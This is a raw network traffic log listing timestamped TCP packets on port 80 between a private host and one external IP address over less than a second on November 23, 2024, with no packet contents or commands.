Nov 23, 2024 03:21:14.490477085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.490521908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.490601063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.490648031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.491636992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.491681099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.491739988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.491782904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.492770910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.492814064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.492872953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.492916107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.493926048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.493968010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.493999004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.494043112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.495047092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.495090961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.495126009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.495176077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.496200085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.496249914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.496328115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.496372938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.497323990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.497366905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.497430086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.497472048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.498467922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.498512030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.498574972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.498615026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.499605894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.499666929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.499720097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.499763012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.500734091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.500780106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.500823975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.500866890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.501874924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.501928091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.501966953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.502012014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.503019094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.503066063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.503103018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.503144979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.504364014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.504407883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.504447937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.504492044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.505295038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.505337000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.505384922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.505438089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.506433010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.506479025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.506520033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.506565094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.507586002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.507631063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.507685900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.507730961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.508661032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.508707047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.650355101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.650412083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.650505066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.650546074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.650887966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.650933027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.650978088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.651021004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.652039051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.652081966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.652086020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.652128935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.653142929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.653187037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.653219938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.653261900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.654297113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.654340982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.654352903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.654402971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.655415058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.655461073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.655524015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.655565977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.656558990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.656600952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.656673908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.656716108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.657696962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.657740116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.657793999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.657835007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.658827066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.658869982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.658890009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.658932924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.659982920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.660044909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.660079002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.660131931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.661114931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.661159992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.661216021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.661259890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.662260056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.662303925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.662381887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.662425041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.663398027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.663443089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.663507938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.663552046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.664524078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.664566994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.664655924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.664697886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.665668011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.665712118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.665771008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.665813923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.666815996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.666860104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.666932106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.666975021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.667948961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.667993069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.668054104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.668097019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.669086933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.669141054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.669195890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.669313908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.670211077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.670275927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.670312881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.670356035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.671377897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.671422005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.671492100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.671534061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.672514915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.672550917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.672619104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.672662020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.673635960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.673682928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.673738003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.673780918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.674784899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.674828053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.674881935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.674923897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.675929070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.675970078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.676033020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.676078081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.677047014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.677093029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.677155972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.677195072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.678241014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.678282022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.678371906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.678414106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.679347038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.679392099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.679464102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.679507017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.680494070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.680560112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.680591106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.680634022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.681628942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.681673050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.681732893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.681775093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.682749987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.682795048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.682929039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.682971954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.683900118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.683942080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.684019089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.684065104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.685061932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.685106993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.685235977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.685278893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.686187983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.686229944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.686297894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.686352015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.687331915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.687376022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.687416077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.687458038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.688458920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.688500881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.688502073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.688549042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.689594984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.689634085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.689701080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.689743996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.690721035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.690784931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.690823078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.690866947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.691884995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.691929102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.691997051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.692126989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.693010092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.693056107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.693109035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.693150997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.694149971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.694190979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.694266081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.694308996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.695331097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.695373058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.695440054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.695483923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.696434021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.696480036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.696547985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.696592093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.697576046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.697618961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.697685003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.697727919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.698688030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.698729992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.698780060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.698823929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.699815989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.699862957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.699928999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.699970961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.700944901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.700995922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.701076984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.701122046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.702100992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.702145100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.702224016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.702267885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.703244925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.703289986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.703325033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.703366995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.704376936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.704421043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.704483986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.704530954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.705553055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.705602884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.705641031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.705684900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.706655025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.706697941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.706774950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.706820965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.707796097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.707839012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.707895994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.707940102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.708933115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.708975077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.709038973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.709081888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.710028887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.710072041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.851706028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.851771116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.851864100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.851908922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.852235079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.852283955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.852335930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.852375031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.853369951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.853491068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.853518009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.853538036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.854474068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.854564905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.854589939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.854604006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.855633974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.855742931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.855775118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.855817080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.856781006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.856827974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.856893063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.856937885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.857924938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.857965946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.857989073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.858031034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.859056950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.859098911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.859163046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.859205008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.860203981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.860246897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.860310078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.860353947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.861345053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.861387968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.861464024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.861509085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.862468958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.862513065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.862582922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.862627029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.863610029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.863653898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.863715887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.863756895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.864752054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.864795923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.864856958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.864898920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.865900993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.865946054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.866012096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.866058111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.867044926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.867089987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:14.867167950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:14.867233992 CET	49760	80	192.168.2.4	31.41.244.11
